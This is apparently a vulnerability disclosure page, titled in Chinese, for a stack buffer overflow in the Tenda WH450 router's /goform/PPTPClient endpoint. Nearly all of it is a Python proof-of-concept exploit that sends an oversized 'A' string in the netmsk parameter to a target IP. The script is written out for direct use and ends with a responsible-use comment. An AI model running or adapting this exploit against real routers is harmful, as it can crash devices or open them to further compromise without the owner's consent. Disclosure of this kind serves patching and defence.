CVE-2025-15046 | Tenda WH450 /goform/PPTPClient 栈缓冲区溢出漏洞

import requests # CVE-2025-15046 PoC - Tenda WH450 Buffer Overflow # Target: /goform/PPTPClient endpoint # Parameter: netmsk target_ip = "192.168.0.1" # Replace with target IP url = f"http://{target_ip}/goform/PPTPClient" # Generate payload with excessive length to trigger overflow # Adjust the length based on buffer size in target firmware payload_size = 1000 # May need adjustment overflow_payload = "A" * payload_size # Construct malicious request data = { "netmsk": overflow_payload, # Other parameters may be needed } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent successfully") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires analysis of specific firmware version. # Use responsibly and only on systems you have permission to test.